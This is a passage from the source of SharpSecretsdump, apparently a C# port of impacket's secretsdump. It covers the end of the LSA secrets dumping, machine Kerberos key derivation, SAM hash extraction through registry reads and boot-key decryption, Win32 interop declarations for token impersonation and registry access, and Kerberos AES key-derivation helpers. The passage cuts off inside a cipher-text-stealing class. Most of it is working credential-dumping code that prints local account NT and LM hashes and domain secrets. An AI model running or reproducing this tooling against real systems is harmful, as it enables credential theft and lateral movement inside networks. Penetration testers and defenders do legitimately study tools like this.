326 | Console.WriteLine($"{secret}: {Hexlify(secretBlob.secret)}");
327 | }
328 | }
329 | }
330 | else
331 | {
332 | LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey);
333 | Console.WriteLine("[*] NL$KM");
334 | if (secretBlob.length > 0)
335 | {
336 | Console.WriteLine("NL$KM:" + Hexlify(secretBlob.secret));
337 | }
338 | }
339 | }
340 | }
341 | }
342 | catch (Exception exp)
343 | {
344 | Console.WriteLine(exp.ToString());
345 | }
346 | Interop.RegCloseKey(hKey);
347 | }
348 | catch (Exception e)
349 | {
350 | Console.WriteLine(e.ToString());
351 | }
352 | }
353 |
354 | // Copied from secretsdump.py from impacket
355 | public static void PrintMachineKerberos(byte[] secret, String domainName, String computerName)
356 | {
357 | byte[] salt = Encoding.UTF8.GetBytes($"{domainName.ToUpper()}host{computerName.ToLower()}.{domainName.ToLower()}");
358 |
359 | Encoding UTF16 = Encoding.GetEncoding(UnicodeEncoding.Unicode.CodePage, new EncoderReplacementFallback(), new DecoderReplacementFallback("�"));
360 | Encoding UTF8 = Encoding.GetEncoding(UnicodeEncoding.UTF8.CodePage, new EncoderReplacementFallback("?"), new DecoderReplacementFallback());
361 |
362 | byte[] rawSecret = UTF8.GetBytes(UTF16.GetString(secret));
363 |
364 | var kerberosEncryptions = new EncryptionType[]
365 | {
366 | EncryptionType.AES256_CTS_HMAC_SHA1_96,
367 | EncryptionType.AES128_CTS_HMAC_SHA1_96,
368 | EncryptionType.DES_CBC_MD5
369 | };
370 |
371 | foreach(EncryptionType type in kerberosEncryptions)
372 | {
373 | byte[] key = KeyGenerator.MakeKey(type, UTF8.GetString(rawSecret), UTF8.GetString(salt));
374 | Console.WriteLine($"{domainName}\\{computerName}$:{type.ToString().ToLower().Replace("_", "-")}:{Hexlify(key)}");
375 | }
376 | }
377 |
378 | public static void GetSamAccounts(byte[] bootkey)
379 | {
380 | Console.WriteLine("[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)");
381 | byte[] fVal = GetRegKeyValue("SAM\\Sam\\Domains\\Account", "F");
382 | byte[] hashedBootKey = GetHashedBootKey(bootkey, fVal);
383 | byte[] antpassword = Encoding.ASCII.GetBytes("NTPASSWORD\0");
384 | byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0");
385 |
386 | IntPtr hKey = IntPtr.Zero;
387 | IntPtr dummy = IntPtr.Zero;
388 | String keyPath = "SAM\\Sam\\Domains\\Account\\Users";
389 | StringBuilder classVal = new StringBuilder(1024);
390 | int len = 1024;
391 | int result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
392 | if (result != 0)
393 | {
394 | string errorMessage = new Win32Exception((int)result).Message;
395 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
396 | return;
397 | }
398 | IntPtr number = IntPtr.Zero;
399 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref number, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero);
400 | if (result != 0)
401 | {
402 | string errorMessage = new Win32Exception((int)result).Message;
403 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
404 | return;
405 | }
406 |
407 | for (int i = 0; i < number.ToInt32(); i++)
408 | {
409 | len = 255;
410 | result = Interop.RegEnumKeyEx(hKey, i, classVal, ref len, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref dummy);
411 | if (result != 0)
412 | {
413 | string errorMessage = new Win32Exception((int)result).Message;
414 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
415 | return;
416 | }
417 |
418 | if (classVal.ToString().StartsWith("0"))
419 | {
420 | byte[] rid = BitConverter.GetBytes(System.Int32.Parse(classVal.ToString(), System.Globalization.NumberStyles.HexNumber));
421 | byte[] v = GetRegKeyValue($"{keyPath}\\{classVal}", "V");
422 | if (v == null || v.Length <= 0)
423 | continue;
424 | int offset = BitConverter.ToInt32(v, 12) + 204;
425 | int length = BitConverter.ToInt32(v, 16);
426 | string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());
427 |
428 | //there are 204 bytes of headers / flags prior to data in the encrypted key data structure
429 | int lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
430 | int lmHashLength = BitConverter.ToInt32(v, 160);
431 | int ntHashOffset = BitConverter.ToInt32(v, 168) + 204;
432 | int ntHashLength = BitConverter.ToInt32(v, 172);
433 | string lmHash = "aad3b435b51404eeaad3b435b51404ee";
434 | string ntHash = "31d6cfe0d16ae931b73c59d7e0c089c0";
435 | if (ntHashLength <= 0)
436 | continue;
437 |
438 | // old style hashes
439 | if (v[ntHashOffset + 2].Equals(0x01))
440 | {
441 | IEnumerable lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
442 | byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
443 | IEnumerable ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
444 | byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
445 | byte[] encryptedLmHash = null;
446 | byte[] encryptedNtHash = null;
447 |
448 | if (ntHashLength == 20)
449 | {
450 | encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
451 | byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
452 | ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, classVal.ToString()).Replace("-", "");
453 | }
454 | if (lmHashLength == 20)
455 | {
456 | encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
457 | byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
458 | lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, classVal.ToString()).Replace("-", "");
459 | }
460 | }
461 | //new-style hashes
462 | else
463 | {
464 | byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray();
465 | byte[] lmData = enc_LM_Hash.Skip(24).ToArray();
466 | //if a hash exists, otherwise we have to return the default string val
467 | if (lmData.Length > 0)
468 | {
469 | byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray();
470 | byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
471 | lmHash = Crypto.DecryptSingleHash(desEncryptedHash, classVal.ToString()).Replace("-", "");
472 | }
473 |
474 | byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
475 | byte[] ntData = enc_NT_Hash.Skip(24).ToArray();
476 | //if a hash exists, otherwise we have to return the default string val
477 | if (ntData.Length > 0)
478 | {
479 | byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray();
480 | byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
481 | ntHash = Crypto.DecryptSingleHash(desEncryptedHash, classVal.ToString()).Replace("-", "");
482 | }
483 | }
484 | string ridStr = int.Parse(classVal.ToString(), System.Globalization.NumberStyles.HexNumber).ToString();
485 | string hashes = (lmHash + ":" + ntHash);
486 | Console.WriteLine(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
487 | }
488 | }
489 | Interop.RegCloseKey(hKey);
490 | }
491 |
492 | private static bool IsZeroes(byte[] inputArray)
493 | {
494 | foreach (byte b in inputArray)
495 | {
496 | if (b != 0x00)
497 | {
498 | return false;
499 | }
500 | }
501 | return true;
502 | }
503 |
504 | private static int Pad(int data)
505 | {
506 | if ((data & 0x3) > 0)
507 | {
508 | return (data + (data & 0x3));
509 | }
510 | else
511 | {
512 | return data;
513 | }
514 | }
515 |
516 | public static byte[] GetRegKeyValue(string keyPath, string valueName = null, bool silent = false)
517 | {
518 | IntPtr hKey = IntPtr.Zero;
519 |
520 | // takes a given HKLM key path and returns the registry value
521 |
522 | // open the specified key with read (0x19) privileges
523 | // 0x80000002 == HKLM
524 | int result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
525 | if (result != 0)
526 | {
527 | string errorMessage = new Win32Exception((int)result).Message;
528 | if (!silent)
529 | {
530 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, result, errorMessage);
531 | }
532 | return null;
533 | }
534 |
535 | int cbData = 0;
536 | result = Interop.RegQueryValueEx(hKey, valueName, 0, IntPtr.Zero, IntPtr.Zero, ref cbData);
537 | if (result != 0)
538 | {
539 | string errorMessage = new Win32Exception((int)result).Message;
540 | if (!silent)
541 | {
542 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
543 | }
544 | return null;
545 | }
546 |
547 | IntPtr dataPtr = Marshal.AllocHGlobal(cbData);
548 | result = Interop.RegQueryValueEx(hKey, valueName, 0, IntPtr.Zero, dataPtr, ref cbData);
549 | if (result != 0)
550 | {
551 | string errorMessage = new Win32Exception((int)result).Message;
552 | if (!silent)
553 | {
554 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, result, errorMessage);
555 | }
556 | return null;
557 | }
558 | byte[] data = new byte[cbData];
559 |
560 | Marshal.Copy(dataPtr, data, 0, cbData);
561 | Interop.RegCloseKey(hKey);
562 |
563 | return data;
564 | }
565 |
566 | public static byte[] StringToByteArray(string hex)
567 | {
568 | // helper to convert a string hex representation to a byte array
569 | // yes, I know this inefficient :)
570 | return Enumerable.Range(0, hex.Length)
571 | .Where(x => x % 2 == 0)
572 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
573 | .ToArray();
574 | }
575 |
576 | public static bool IsHighIntegrity()
577 | {
578 | // returns true if the current process is running with adminstrative privs in a high integrity context
579 |
580 | WindowsIdentity identity = WindowsIdentity.GetCurrent();
581 | WindowsPrincipal principal = new WindowsPrincipal(identity);
582 | return principal.IsInRole(WindowsBuiltInRole.Administrator);
583 | }
584 |
585 | public static String Hexlify(byte[] array) => BitConverter.ToString(array).Replace("-", "").ToLower();
586 | }
587 | }
588 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Interop.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 | namespace SharpSecretsdump
6 | {
7 | public class Interop
8 | {
9 | // for GetSystem()
10 | [DllImport("advapi32.dll", SetLastError = true)]
11 | [return: MarshalAs(UnmanagedType.Bool)]
12 | public static extern bool OpenProcessToken(
13 | IntPtr ProcessHandle,
14 | UInt32 DesiredAccess,
15 | out IntPtr TokenHandle);
16 |
17 | [DllImport("advapi32.dll", SetLastError = true)]
18 | public static extern bool DuplicateToken(
19 | IntPtr ExistingTokenHandle,
20 | int SECURITY_IMPERSONATION_LEVEL,
21 | ref IntPtr DuplicateTokenHandle);
22 |
23 | [DllImport("advapi32.dll", SetLastError = true)]
24 | public static extern bool ImpersonateLoggedOnUser(
25 | IntPtr hToken);
26 |
27 | [DllImport("kernel32.dll", SetLastError = true)]
28 | [return: MarshalAs(UnmanagedType.Bool)]
29 | public static extern bool CloseHandle(
30 | IntPtr hObject
31 | );
32 |
33 | [DllImport("advapi32.dll", SetLastError = true)]
34 | public static extern bool RevertToSelf();
35 |
36 | // for LSA Secrets Dump
37 | [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
38 | public static extern int RegOpenKeyEx(
39 | uint hKey,
40 | string subKey,
41 | int ulOptions,
42 | int samDesired,
43 | ref IntPtr hkResult
44 | );
45 |
46 | [DllImport("advapi32.dll")]
47 | public static extern int RegQueryInfoKey(
48 | IntPtr hkey,
49 | StringBuilder lpClass,
50 | ref int lpcbClass,
51 | int lpReserved,
52 | ref IntPtr lpcSubKeys,
53 | ref IntPtr lpcbMaxSubKeyLen,
54 | ref IntPtr lpcbMaxClassLen,
55 | ref IntPtr lpcValues,
56 | ref IntPtr lpcbMaxValueNameLen,
57 | ref IntPtr lpcbMaxValueLen,
58 | ref IntPtr lpcbSecurityDescriptor,
59 | IntPtr lpftLastWriteTime
60 | );
61 |
62 | [DllImport("advapi32.dll", SetLastError = true)]
63 | public static extern int RegEnumKeyEx(
64 | IntPtr hKey,
65 | int dwIndex,
66 | StringBuilder lpName,
67 | ref int lpcchName,
68 | IntPtr lpReserved,
69 | IntPtr lpClass,
70 | IntPtr lpcchClass,
71 | ref IntPtr lpftLastWriteTime
72 | );
73 |
74 | [DllImport("advapi32.dll", SetLastError = true)]
75 | public static extern int RegEnumValue(
76 | IntPtr hKey,
77 | int dwIndex,
78 | StringBuilder lpValueName,
79 | ref int lpcchValueName,
80 | int lpReserved,
81 | IntPtr lpType,
82 | IntPtr lpDate,
83 | IntPtr lpcbData
84 | );
85 |
86 | [DllImport("advapi32.dll", SetLastError = true)]
87 | public static extern int RegQueryValueEx(
88 | IntPtr hKey,
89 | string lpValueName,
90 | int lpReserved,
91 | IntPtr type,
92 | IntPtr lpData,
93 | ref int lpcbData
94 | );
95 |
96 | [DllImport("advapi32.dll", SetLastError = true)]
97 | public static extern int RegCloseKey(
98 | IntPtr hKey
99 | );
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/AesKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Collections.Generic;
4 | using System.Security.Cryptography;
5 |
6 | namespace SharpSecretsdump.lib.Kerberos
7 | {
8 | ///
9 | /// An enum to indicate the AES key size in bits.
10 | ///
11 | public enum AesKeyType : int
12 | {
13 | ///
14 | /// AES key type not specified
15 | ///
16 | None = 0,
17 |
18 | ///
19 | /// 128 bits AES key
20 | ///
21 | Aes128BitsKey = 128,
22 |
23 | ///
24 | /// 192 bits AES key
25 | ///
26 | Aes192BitsKey = 192,
27 |
28 | ///
29 | /// 256 bits AES key
30 | ///
31 | Aes256BitsKey = 256
32 | }
33 |
34 |
35 | ///
36 | /// Derived Key Types (RFC3961)
37 | ///
38 | public enum DerivedKeyType : int
39 | {
40 | ///
41 | /// An added value used as the default value.
42 | ///
43 | None = 0,
44 |
45 | ///
46 | /// Used to derive key to generate mic in Checksum mechanism.
47 | ///
48 | Kc = 0x99,
49 |
50 | ///
51 | /// Used to derive key to encrypt data.
52 | ///
53 | Ke = 0xAA,
54 |
55 | ///
56 | /// Used to derive key to calculate checksum in Encryption mechanism.
57 | ///
58 | Ki = 0x55
59 | }
60 |
61 |
62 | ///
63 | /// AES Key Generator
64 | ///
65 | public static class AesKey
66 | {
67 | #region Constants
68 | ///
69 | /// Default Interation Count
70 | /// [RFC3962 Section 4, Page 2]
71 | ///
72 | internal const uint DEFAULT_ITERATION_COUNT = 4096;
73 |
74 |
75 | ///
76 | /// ASCII encoding for the string "Kerberos"
77 | ///
78 | private readonly static byte[] KERBEROS_CONSTANT = new byte[] { 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73 };
79 | #endregion Constants
80 |
81 |
82 | #region Private Methods
83 | ///
84 | /// DK is the key-derivation function described in RFC 3961
85 | /// [RFC 3961 section 5.1 A Key Derivation Function]
86 | ///
87 | /// the base key
88 | /// the "well-known constant"
89 | /// AES key type which decides key size
90 | /// the derived key in bytes
91 | public static byte[] DK(
92 | byte[] baseKey,
93 | byte[] wellKnownConstant,
94 | AesKeyType aesKeyType)
95 | {
96 | // caculate DR value
97 | byte[] drBytes = DR(baseKey, wellKnownConstant, aesKeyType);
98 |
99 | // caculate Random
100 | return RandomToKey(drBytes);
101 | }
102 |
103 |
104 | ///
105 | /// DR is the random-octet generation function described in RFC 3961
106 | /// [RFC 3961 section 5.1 A Key Derivation Function]
107 | ///
108 | /// the base key which is to be derived from
109 | /// the "well-known constant"
110 | /// AES key type which decides key size
111 | /// the pseudorandom octets
112 | private static byte[] DR(
113 | byte[] baseKey,
114 | byte[] wellKnownConstant,
115 | AesKeyType aesKeyType)
116 | {
117 | // to be encrypted data
118 | byte[] toBeEncrypted = new byte[wellKnownConstant.Length];
119 | wellKnownConstant.CopyTo(toBeEncrypted, 0);
120 |
121 | // n-fold the "well-known constant" if needed
122 | if (wellKnownConstant.Length != ConstValue.AES_BLOCK_SIZE)
123 | {
124 | toBeEncrypted = NFold(wellKnownConstant, ConstValue.AES_BLOCK_SIZE * ConstValue.BYTE_SIZE);
125 | }
126 |
127 | // AES key size
128 | uint aesKeySize = (uint)aesKeyType / ConstValue.BYTE_SIZE;
129 |
130 | // initialize key array
131 | byte[] rawkey = new byte[aesKeySize];
132 |
133 | // count means the total number of bytes has been copy to the rawkey.
134 | // length means how length of bytes should be copy to the rawkey array.
135 | uint count = 0;
136 | uint length = 0;
137 |
138 | // The initialCipherVector should be all zeros.
139 | byte[] initialCipherVector = new byte[ConstValue.AES_BLOCK_SIZE];
140 |
141 | // AES-CTS encryptor
142 | CipherTextStealingMode aesCtsCrypto = CryptoUtility.CreateAesCtsCrypto(baseKey, initialCipherVector);
143 | while (count < aesKeySize)
144 | {
145 | byte[] cipherBlock = aesCtsCrypto.EncryptFinal(toBeEncrypted, 0, toBeEncrypted.Length);
146 | length = (aesKeySize - count <= cipherBlock.Length ? (aesKeySize - count) : Convert.ToUInt32(cipherBlock.Length));
147 | Array.Copy(cipherBlock, 0, rawkey, count, length);
148 | count += length;
149 | toBeEncrypted = cipherBlock;
150 | }
151 | return rawkey;
152 | }
153 |
154 |
155 | ///
156 | /// RandomToKey generates a key from a random bitstring of a specific size.
157 | /// All the bits of the input string are assumed to be equally random,
158 | /// even though the entropy present in the random source may be limited.
159 | /// [RFC 3961, Page 4]
160 | ///
161 | /// For AES, random-to-key function simply returns as what is given
162 | /// [RFC 3961, Page 15]
163 | ///
164 | /// the random bitstring
165 | /// the generated key
166 | public static byte[] RandomToKey(byte[] random)
167 | {
168 | return random;
169 | }
170 |
171 |
172 | ///
173 | /// Generate the "well-known constant"
174 | /// [RFC 3961, Page 15]
175 | /// the "well-known constant" used for the DK function is the key usage number,
176 | /// expressed as four octets in big-endian order, followed by one octet indicated below:
177 | /// Kc = DK(base-key, usage | 0x99);
178 | /// Ke = DK(base-key, usage | 0xAA);
179 | /// Ki = DK(base-key, usage | 0x55);
180 | ///
181 | /// key usage number
182 | /// the derived key type
183 | /// the "well-known constant"
184 | private static byte[] GetWellKnownConstant(int usage, DerivedKeyType derivedKeyType)
185 | {
186 | // the "well-known constant" contains 5 bytes
187 | byte[] wellKnownConstant = new byte[5];
188 |
189 | // the first 4 bytes = usage number in big endian
190 | byte[] usageBytes = BitConverter.GetBytes(usage);
191 | Array.Reverse(usageBytes);
192 | usageBytes.CopyTo(wellKnownConstant, 0);
193 |
194 | // the 5th byte = the derivedKeyType
195 | wellKnownConstant[4] = (byte)derivedKeyType;
196 | return wellKnownConstant;
197 | }
198 |
199 |
200 | ///
201 | /// N-Fold is an algorithm that takes m input bits and "stretches" them
202 | /// to form N output bits with equal contribution from each input bit to
203 | /// the output, as described in Blumenthal, U. and S. Bellovin, "A Better
204 | /// Key Schedule for DES-Like Ciphers", Proceedings of PRAGOCRYPT '96,1996.
205 | ///
206 | /// The to be n-folded input data
207 | /// The expected output length in bits
208 | /// The n-folded data
209 | private static byte[] NFold(byte[] input, uint outputBits)
210 | {
211 | // check inputs
212 | if (null == input)
213 | {
214 | throw new ArgumentNullException("input");
215 | }
216 | if (0 != outputBits % ConstValue.BYTE_SIZE)
217 | {
218 | throw new ArgumentException(
219 | "The desired output length in bits should be a multiply of 8 bits.");
220 | }
221 |
222 | // input and output length in bytes
223 | int inLength = input.Length;
224 | int outLength = (int)outputBits / ConstValue.BYTE_SIZE;
225 |
226 | // caculate their lowest common multiplier
227 | int lcm = CalculateLowestCommonMultiple(outLength, inLength);
228 |
229 | // "stretch" the data length to the LCM value
230 | byte[] stretchedData = new byte[lcm];
231 | int count = lcm / inLength;
232 | for (int i = 0; i < count; i++)
233 | {
234 | // expand
235 | Array.Copy(input, 0, stretchedData, i * inLength, inLength);
236 |
237 | // rotate 13 bits right
238 | input = Rotate13(input);
239 | }
240 |
241 | // divide the stretched data to (LCM/outLength) blocks
242 | // then calculate their "one's complement addition"
243 | byte[] output = new byte[outLength];
244 | byte[] blockData = new byte[outLength];
245 | int blockCount = lcm / outLength;
246 | for (int i = 0; i < blockCount; i++)
247 | {
248 | // get a block
249 | Array.Copy(stretchedData, i * outLength, blockData, 0, blockData.Length);
250 |
251 | // addition
252 | output = OCADD(output, blockData);
253 | }
254 | return output;
255 | }
256 |
257 |
258 | ///
259 | /// The LCM function called by N-Fold Algorithm
260 | /// (calculate the Lowest Common Multiple of two integer)
261 | ///
262 | /// value n
263 | /// value k
264 | /// the caculated LCM value
265 | private static int CalculateLowestCommonMultiple(int n, int k)
266 | {
267 | int a = n;
268 | int b = k;
269 | int c;
270 |
271 | while (b != 0)
272 | {
273 | c = b;
274 | b = a % b;
275 | a = c;
276 | }
277 | return (n * k / a);
278 | }
279 |
280 |
281 | ///
282 | /// The ROT13 function called by N-Fold Algorithm
283 | /// (which rotates a string to 13 bits right)
284 | ///
285 | /// input string
286 | private static byte[] Rotate13(byte[] input)
287 | {
288 | if (null == input)
289 | {
290 | throw new ArgumentNullException("input");
291 | }
292 |
293 | // get all the bits
294 | List listBits = new List();
295 | foreach (byte b in input)
296 | {
297 | listBits.AddRange(CryptoUtility.GetBits(b));
298 | }
299 |
300 | // rotate all the bits to 13-bit right
301 | List listBitsRotated = new List(listBits);
302 | for (int i = 0; i < listBits.Count; i++)
303 | {
304 | if (i + 13 < listBitsRotated.Count)
305 | {
306 | listBitsRotated[i + 13] = listBits[i];
307 | }
308 | else
309 | {
310 | int index = (i + 13) % listBitsRotated.Count;
311 | listBitsRotated[index] = listBits[i];
312 | }
313 | }
314 |
315 | // covert the rotated data to bytes
316 | return CryptoUtility.ConvertBitsToBytes(listBitsRotated);
317 | }
318 |
319 |
320 | ///
321 | /// The OCADD function called by N-Fold Algorithm
322 | /// (calculate "one's complement addition" between two byte array)
323 | ///
324 | /// one byte array in addition operation
325 | /// the other byte array in addition operation
326 | /// The operation result
327 | private static byte[] OCADD(byte[] leftBuffer, byte[] rightBuffer)
328 | {
329 | // check inputs
330 | if (null == leftBuffer)
331 | {
332 | throw new ArgumentNullException("leftBuffer");
333 | }
334 | if (null == rightBuffer)
335 | {
336 | throw new ArgumentNullException("rightBuffer");
337 | }
338 | if (leftBuffer.Length != rightBuffer.Length)
339 | {
340 | throw new ArgumentException("The input buffer lengths should be equal");
341 | }
342 |
343 | // initialize sum buffer
344 | byte[] sumBuffer = new byte[leftBuffer.Length];
345 | byte[] zeroBuffer = new byte[leftBuffer.Length];
346 |
347 | // the carry value
348 | int carry = 0;
349 | for (int i = leftBuffer.Length - 1; i >= 0; i--)
350 | {
351 | // caculate sum
352 | int sum = leftBuffer[i] + rightBuffer[i] + carry;
353 | sumBuffer[i] = (byte)(sum & 0xff);
354 |
355 | // reset carry
356 | if (sum > 0xff)
357 | {
358 | carry = 1;
359 | }
360 | else
361 | {
362 | carry = 0;
363 | }
364 | }
365 |
366 | // if there is a left over carry bit, add it back in
367 | if (1 == carry)
368 | {
369 | bool done = false;
370 | for (int j = leftBuffer.Length - 1; j >= 0; j--)
371 | {
372 | if (sumBuffer[j] != 0xff)
373 | {
374 | sumBuffer[j]++;
375 | done = true;
376 | break;
377 | }
378 | }
379 |
380 | if (!done)
381 | {
382 | Array.Copy(zeroBuffer, sumBuffer, zeroBuffer.Length);
383 | }
384 | }
385 | return sumBuffer;
386 | }
387 | #endregion Private Methods
388 |
389 |
390 | #region Internal Methods
391 |
392 | ///
393 | /// Generate an encryption key from password and salt
394 | /// [RFC 3962 Section 4 Key Generation from Pass Phrases or Random Data]
395 | /// (The pseudorandom function used by PBKDF2 will be a SHA-1 HMAC of
396 | /// the passphrase and salt, as described in Appendix B.1 to PKCS#5)
397 | ///
398 | /// password
399 | /// salt
400 | /// interation count
401 | /// AES key type which decides key size
402 | /// the encrypted key in bytes
403 | internal static byte[] MakeStringToKey(
404 | string password,
405 | string salt,
406 | uint iterationCount,
407 | AesKeyType keyType)
408 | {
409 | if (null == password)
410 | {
411 | throw new ArgumentNullException("password");
412 | }
413 | if (null == salt)
414 | {
415 | throw new ArgumentNullException("salt");
416 | }
417 |
418 | byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
419 | byte[] saltBytes = Encoding.UTF8.GetBytes(salt);
420 | int keySize = (int)keyType / ConstValue.BYTE_SIZE;
421 |
422 | // generate the intermediate key
423 | Rfc2898DeriveBytes PBKDF2 = new Rfc2898DeriveBytes(passwordBytes, saltBytes, (int)iterationCount);
424 | byte[] intermediateKey = PBKDF2.GetBytes(keySize);
425 | intermediateKey = RandomToKey(intermediateKey);
426 |
427 | // generate the final key
428 | return DK(intermediateKey, KERBEROS_CONSTANT, keyType);
429 | }
430 | #endregion Internal Methods
431 | }
432 | }
433 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/ArrayUtility.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Text;
4 | using System.Collections;
5 |
6 | namespace SharpSecretsdump.lib.Kerberos
7 | {
8 | public static class ArrayUtility
9 | {
10 | ///
11 | /// Gets a sub array from an array.
12 | ///
13 | /// The type of array.
14 | /// The original array.
15 | /// The start index to copy.
16 | /// The length of sub array.
17 | /// Raised when startIndex or startIndex plus the length of
18 | /// sub array exceeds the range of original array.
19 | /// The sub array.
20 | public static T[] SubArray(T[] array, int startIndex, int length)
21 | {
22 | T[] subArray = new T[length];
23 | Array.Copy(array, startIndex, subArray, 0, length);
24 |
25 | return subArray;
26 | }
27 |
28 | ///
29 | /// Gets a sub array from an array. With given start index, it will return the rest of the array.
30 | ///
31 | /// The type of array.
32 | /// The original array.
33 | /// The start index to copy.
34 | /// Raised when startIndex or startIndex plus the length of
35 | /// sub array exceeds the range of original array.
36 | /// The sub array.
37 | public static T[] SubArray(T[] array, int startIndex)
38 | {
39 | return SubArray(array, startIndex, array.Length - startIndex);
40 | }
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/CipherTextStealingMode.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Security.Cryptography;
4 |
5 | namespace SharpSecretsdump.lib.Kerberos
6 | {
7 | public class CipherTextStealingMode
8 | {
9 | #region Private Variables
10 | ///
11 | /// When each block-size plain text is encrypted,
12 | /// the cipher should be temporarily stored as cipher state
13 | /// for XOR operation with the next block-size plain text
14 | ///
15 | private byte[] cipherState;
16 |
17 | ///
18 | /// The Initialize Vector
19 | ///
20 | private byte[] iv;
21 |
22 | ///
23 | /// The encryption Block Size of the specific symmetric algorithm (in bytes)
24 | ///
25 | private int blockSize;
26 |
27 | ///
28 | /// The encryptor
29 | ///
30 | private ICryptoTransform encryptor;
31 |
32 | ///
33 | /// The decryptor
34 | ///
35 | private ICryptoTransform decryptor;
36 | #endregion Private Variables
37 |
38 |
39 | #region Constructor
40 | ///
41 | /// Initialize CipherTextStealingMode with a specific symmetric algorithm
42 | ///
43 | /// The symmetric algorithm
44 | public CipherTextStealingMode(SymmetricAlgorithm symmetricAlgorithm)
45 | {
46 | // in CTS Mode there is no padding
47 | symmetricAlgorithm.Padding = PaddingMode.None;
48 |
49 | // set the symmetric algorithm's mode to ECB
50 | // (for single block encryption and decryption)
51 | symmetricAlgorithm.Mode = CipherMode.ECB;
52 |
53 | // get the symmetric algorithm's block size in bytes
54 | blockSize = symmetricAlgorithm.BlockSize / 8;
55 | if (blockSize != symmetricAlgorithm.IV.Length)
56 | {
57 | throw new ArgumentException(
58 | "The IV size should equal to the block size.");
59 | }
60 |
61 | // initialize local IV
62 | iv = symmetricAlgorithm.IV;
63 |
64 | // initialize cipher state using the symmetric algorithms's IV
65 | cipherState = new byte[blockSize];
66 | symmetricAlgorithm.IV.CopyTo(cipherState, 0);
67 |
68 | // create encryptor and decryptor
69 | encryptor = symmetricAlgorithm.CreateEncryptor();
70 | decryptor = symmetricAlgorithm.CreateDecryptor();
71 | }
72 | #endregion Constructor
73 |
74 |
75 | #region Private Methods: Encryption
76 | ///
77 | /// Encrypt in CBC Mode
78 | ///
79 | /// input buffer
80 | /// the offset of which the to be encrypted data begins
81 | /// the length of to be encrypted data
82 | /// the encrypted data
83 | private byte[] EncryptWithCBCMode(
84 | byte[] inputBuffer,
85 | int inputOffset,
86 | int inputCount)
87 | {
88 | // encryption
89 | List result = new List();
90 | int endIndex = inputOffset + inputCount;
91 | while (inputOffset < endIndex)
92 | {
93 | // xor a block, encrypt it, and update cipher state
94 | byte[] blockBuffer = XorCipherState(inputBuffer, inputOffset, cipherState, blockSize);
95 | blockBuffer = encryptor.TransformFinalBlock(blockBuffer, 0, blockBuffer.Length);
96 | blockBuffer.CopyTo(cipherState, 0);
97 | inputOffset += blockSize;
98 |
99 | // save the block to result
100 | result.AddRange(blockBuffer);
101 | }
102 | return result.ToArray();
103 | }
104 |
105 |
106 | ///
107 | /// Encrypt in CTS Mode
108 | ///
109 | /// input buffer
110 | /// the offset of which the to be encrypted data begins
111 | /// the length of to be encrypted data
112 | /// the encrypted data
113 | private byte[] EncryptWithCTSMode(
114 | byte[] inputBuffer,
115 | int inputOffset,
116 | int inputCount)
117 | {
118 | // caculate if the to-be-encrypted data is exactly a multiply of the block size
119 | int remainLength = inputCount % blockSize;
120 | if (0 == remainLength)
121 | {
122 | // first encrypt in CBC mode
123 | byte[] outputBuffer = EncryptWithCBCMode(inputBuffer, inputOffset, inputCount);
124 |
125 | // then swap the last two blocks
